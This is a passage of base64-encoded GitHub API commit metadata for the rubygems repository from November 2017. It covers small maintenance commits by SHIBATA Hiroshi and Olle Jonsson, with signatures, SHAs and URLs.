mEzN2ZiZDkzZTYzYjEwZWI3OThmZmVmIiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMS0yOFQwNzowNzoyNloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTExLTI4VDA3OjA3OjI2WiJ9LCJtZXNzYWdlIjoiUGFydGx5IHJldmVydGVkIDdjNWI3ZjQ5YTlhMDhkNDEzM2ZiMWM4M2UyY2QxZjI3MjkwNmUwMzciLCJ0cmVlIjp7InNoYSI6IjJmNzBkZDEwNTgzOWU5MjM4OGUzNDZkZmY3M2YxMzVmZjMwY2JlOWYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy8yZjcwZGQxMDU4MzllOTIzODhlMzQ2ZGZmNzNmMTM1ZmYzMGNiZTlmIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZWI4OWM2YTdjOGMwYTE3MjZhMzdmYmQ5M2U2M2IxMGViNzk4ZmZlZiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsb2RDemNBQ2drUStjOFRRWEprXG4rc0thSHdmL2NtbFYvcncxOGJuR01LWnlZaFdjUFJNdnVSNDU4c1pEcVpMQWpNNWxtOGx6cjFKcGFRbHhxRjdmXG5FbVZ4TzJNWmRHdHhSSGk2UEJYYkFNQnA4Wjk0UmdXYU4vS3BLVGg1WE82MkxTU3hkT0x4ZThmUDIrZVV6QnZ6XG4vR3Z2ZndZU0lxeXR6clgyTjhjYkRPaTJvbksxcmhOOHJFbHArb0hYNE1ETDRjRHAyUDltWHRmWnlidDdlQzdnXG5Ba3hFZmQvTFJNeVcxaHB4cDVvSDhhRGMzZzA5WlJOdHBnamM0b1VnakFvYnRVVlNhanRYejNPRmRLaWMrQVBnXG5ZUFlHM2VnWUpVbng2YjhMVEw0bjZncW1OK081TVNpMlIyU1VCOHU1RW1yekhITll0dUQ0OFhxbXRUUzhJSWU4XG5KaTRQRndnVTdlVEtSQ0MwQ2tKQk9OQUJoZFNxeGc9PVxuPUdLNWRcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDJmNzBkZDEwNTgzOWU5MjM4OGUzNDZkZmY3M2YxMzVmZjMwY2JlOWZcbnBhcmVudCA3YzViN2Y0OWE5YTA4ZDQxMzNmYjFjODNlMmNkMWYyNzI5MDZlMDM3XG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTE4NTI4NDYgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUxMTg1Mjg0NiArMDkwMFxuXG5QYXJ0bHkgcmV2ZXJ0ZWQgN2M1YjdmNDlhOWEwOGQ0MTMzZmIxYzgzZTJjZDFmMjcyOTA2ZTAzN1xuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZWI4OWM2YTdjOGMwYTE3MjZhMzdmYmQ5M2U2M2IxMGViNzk4ZmZlZiIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lYjg5YzZhN2M4YzBhMTcyNmEzN2ZiZDkzZTYzYjEwZWI3OThmZmVmIiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2ViODljNmE3YzhjMGExNzI2YTM3ZmJkOTNlNjNiMTBlYjc5OGZmZWYvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJoc2J0IiwiaWQiOjEyMzAxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xMjMwMT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2hzYnQiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiI3YzViN2Y0OWE5YTA4ZDQxMzNmYjFjODNlMmNkMWYyNzI5MDZlMDM3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzdjNWI3ZjQ5YTlhMDhkNDEzM2ZiMWM4M2UyY2QxZjI3MjkwNmUwMzciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvN2M1YjdmNDlhOWEwOGQ0MTMzZmIxYzgzZTJjZDFmMjcyOTA2ZTAzNyJ9XX0seyJzaGEiOiI3YzViN2Y0OWE5YTA4ZDQxMzNmYjFjODNlMmNkMWYyNzI5MDZlMDM3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU0hJQkFUQSBIaXJvc2hpIiwiZW1haWwiOiJoc2J0QHJ1YnktbGFuZy5vcmciLCJkYXRlIjoiMjAxNy0xMS0yOFQwNjo1NzoxNloifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTSElCQVRBIEhpcm9zaGkiLCJlbWFpbCI6ImhzYnRAcnVieS1sYW5nLm9yZyIsImRhdGUiOiIyMDE3LTExLTI4VDA2OjU3OjE2WiJ9LCJtZXNzYWdlIjoiSWdub3JlZCB0byBwdWJsaXNoIHJkb2MgZG9jdW1lbnRhdGlvbiBvZiBydWJ5Z2VtcyBmb3IgZG9jcy5zZWF0dGxlcmIub3JnIiwidHJlZSI6eyJzaGEiOiJhNWE4NTFiNmI0NTA0MTA0ODY3OGNkZDZiMjBiNDQ1MWI1MjRmZGE3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvYTVhODUxYjZiNDUwNDEwNDg2NzhjZGQ2YjIwYjQ0NTFiNTI0ZmRhNyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzdjNWI3ZjQ5YTlhMDhkNDEzM2ZiMWM4M2UyY2QxZjI3MjkwNmUwMzciLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblxuaVFFekJBQUJDQUFkRmlFRTUwTFI5MEpPby8zcEl2ZG0rYzhUUVhKaytzSUZBbG9kQ013QUNna1ErYzhUUVhKa1xuK3NJWVl3Zi9lV3NsZFJIRTZUMUxSMGRicysyK0lCSjUwTkQwY2pNUHBIQ0NFaENjTCs2M1kyS0l4V2Q3a1c1b1xuZnRvaFFNTkN3Nkhha0ZVdVpNYTY0VXpkVHRva0dsclhGbkhuWDFWd3krclZjVldnSnBBajZXOGZobnpsTVVXZVxuTXIwc0RtMTAxUDhzNTYyQ1p6NVhIM3R6bUdOaGdGUmdwekRrQnA1OThVbGJOSWhvbGhQbmp2QVl6V3ErTEpYTlxuZ2lGZngyb0dnenZJdVVWc2V0YndhZU5FUVVGUjdDRnZNWTFnSUhTcllLZUJQdWt0Wml4ZG8xN0VESXAvTVpjbFxuYzZhMVdGUTd1NFpDUkU4UkdzbDgzRnNORmpEMm55V2Evb3NQYlFITEpJNlRFaWxHbnc3VHowa2hUandTWUVyNVxuWEN1YWRVUHdnVit0QWhwVHdPMHJHNERsM1FIeVdBPT1cbj1VQmlMXG4tLS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0iLCJwYXlsb2FkIjoidHJlZSBhNWE4NTFiNmI0NTA0MTA0ODY3OGNkZDZiMjBiNDQ1MWI1MjRmZGE3XG5wYXJlbnQgZDU3YzUzMGVjNzJiNzAyNGZlMGMxYTE2MGY4NTM3OTRlYTE0YTQ1Y1xuYXV0aG9yIFNISUJBVEEgSGlyb3NoaSA8aHNidEBydWJ5LWxhbmcub3JnPiAxNTExODUyMjM2ICswOTAwXG5jb21taXR0ZXIgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MTE4NTIyMzYgKzA5MDBcblxuSWdub3JlZCB0byBwdWJsaXNoIHJkb2MgZG9jdW1lbnRhdGlvbiBvZiBydWJ5Z2VtcyBmb3IgZG9jcy5zZWF0dGxlcmIub3JnXG4ifX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy83YzViN2Y0OWE5YTA4ZDQxMzNmYjFjODNlMmNkMWYyNzI5MDZlMDM3IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzdjNWI3ZjQ5YTlhMDhkNDEzM2ZiMWM4M2UyY2QxZjI3MjkwNmUwMzciLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvN2M1YjdmNDlhOWEwOGQ0MTMzZmIxYzgzZTJjZDFmMjcyOTA2ZTAzNy9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImQ1N2M1MzBlYzcyYjcwMjRmZTBjMWExNjBmODUzNzk0ZWExNGE0NWMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDU3YzUzMGVjNzJiNzAyNGZlMGMxYTE2MGY4NTM3OTRlYTE0YTQ1YyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9kNTdjNTMwZWM3MmI3MDI0ZmUwYzFhMTYwZjg1Mzc5NGVhMTRhNDVjIn1dfSx7InNoYSI6IjM2MTkzOTg0NDAyMWI2NzQ0ZjJlZjM5ZDI5ODU0OWQ5YTgxMjNmNTMiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMS0yN1QyMToxNToxM1oifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMS0yN1QyMToxNToxM1oifSwibWVzc2FnZSI6IlNwZWNpZmljYXRpb25Qb2xpY3kjdmFsaWRhdGVfc2hlYmFuZ19saW5lX2luIGVhcmx5IHJldHVybiIsInRyZWUiOnsic2hhIjoiNTc5NTMwZGRmMjJlOTFlMjQ5NDEzNWVlNmYyZmMwZjMwZTAwNjJiYyIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzLzU3OTUzMGRkZjIyZTkxZTI0OTQxMzVlZTZmMmZjMGYzMGUwMDYyYmMifSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0cy8zNjE5Mzk4NDQwMjFiNjc0NGYyZWYzOWQyOTg1NDlkOWE4MTIzZjUzIiwiY29tbWVudF9jb3VudCI6MCwidmVyaWZpY2F0aW9uIjp7InZlcmlmaWVkIjpmYWxzZSwicmVhc29uIjoidW5zaWduZWQiLCJzaWduYXR1cmUiOm51bGwsInBheWxvYWQiOm51bGx9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzM2MTkzOTg0NDAyMWI2NzQ0ZjJlZjM5ZDI5ODU0OWQ5YTgxMjNmNTMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvMzYxOTM5ODQ0MDIxYjY3NDRmMmVmMzlkMjk4NTQ5ZDlhODEyM2Y1MyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy8zNjE5Mzk4NDQwMjFiNjc0NGYyZWYzOWQyOTg1NDlkOWE4MTIzZjUzL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoib2xsZW9sbGVvbGxlIiwiaWQiOjIxMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjExP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9vbGxlb2xsZW9sbGUiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJvbGxlb2xsZW9sbGUiLCJpZCI6MjExLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL29sbGVvbGxlb2xsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL29sbGVvbGxlb2xsZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvb2xsZW9sbGVvbGxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9vbGxlb2xsZW9sbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjcwNTA0NTQzZDk4YzM3MjEzMDEzMDYwYTE5MjFkMTBjZmFlYWE3MzgiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNzA1MDQ1NDNkOThjMzcyMTMwMTMwNjBhMTkyMWQxMGNmYWVhYTczOCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC83MDUwNDU0M2Q5OGMzNzIxMzAxMzA2MGExOTIxZDEwY2ZhZWFhNzM4In1dfSx7InNoYSI6IjcwNTA0NTQzZDk4YzM3MjEzMDEzMDYwYTE5MjFkMTBjZmFlYWE3MzgiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMS0yN1QyMToxNDo1NVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJPbGxlIEpvbnNzb24iLCJlbWFpbCI6Im9sbGUuam9uc3NvbkBnbWFpbC5jb20iLCJkYXRlIjoiMjAxNy0xMS0yN1QyMToxNDo1NVoifSwibWVzc2FnZSI6IlNwZWNpZmljYXRpb25Qb2xpY3k6IEV4dHJhY3QgY29uc3RhbnRzIiwidHJlZSI6eyJzaGEiOiI4NTEzNDIxZDIwOTE0ZmQ1NDlhOTM4ZmMwNjkwMzBiNGNkNGRkNTc3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvODUxMzQyMWQyMDkxNGZkNTQ5YTkzOGZjMDY5MDMwYjRjZDRkZDU3NyJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzLzcwNTA0NTQzZDk4YzM3MjEzMDEzMDYwYTE5MjFkMTBjZmFlYWE3MzgiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOmZhbHNlLCJyZWFzb24iOiJ1bnNpZ25lZCIsInNpZ25hdHVyZSI6bnVsbCwicGF5bG9hZCI6bnVsbH19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNzA1MDQ1NDNkOThjMzcyMTMwMTMwNjBhMTkyMWQxMGNmYWVhYTczOCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC83MDUwNDU0M2Q5OGMzNzIxMzAxMzA2MGExOTIxZDEwY2ZhZWFhNzM4IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzcwNTA0NTQzZDk4YzM3MjEzMDEzMDYwYTE5MjFkMTBjZmFlYWE3MzgvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJvbGxlb2xsZW9sbGUiLCJpZCI6MjExLCJhdmF0YXJfd